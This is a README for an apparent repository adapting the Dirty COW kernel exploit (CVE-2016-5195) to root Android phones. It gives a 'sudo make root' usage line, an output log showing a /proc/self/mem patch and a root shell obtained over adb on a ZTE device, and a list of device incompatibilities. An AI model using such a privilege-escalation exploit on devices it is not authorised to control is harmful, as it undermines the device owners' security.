DirtyCowAndroid

Repo For Working on Dirty Cow Based Android Root Method
Currently Linux Only

Should Spawn a root shell on device
Usage sudo make root
Output:

[*] mmap 0xb6f00000  
[*] exploit (patch)  
[*] currently 0xb6f00000=464c457f  
[*] madvise = 0xb6f00000 13708  
[*] madvise = 0 1048576  
[*] /proc/self/mem 0 1048576  
[*] exploited 0xb6f00000=464c457f  
adb shell /system/bin/run-as  
running as uid 2000  
uid 0  
root@ZTE-V811:/ #

##Bugs / Problems
1)
System Will Hang If You Exec a command on spawned shell Temp Fix: Exit Back to Terminal and type
"adb shell"
"run-as"
Going "adb shell run-as" will produce the hang
2) Android 5 (Samsung Galaxy S4)
setresgid/setresuid failed

3. Incompatible with devices with system partitions made read-only by the hardware, such as the DigiLand DL718M and other supercheap devices.

Oringal PoC Code: https://github.com/timwr/CVE-2016-5195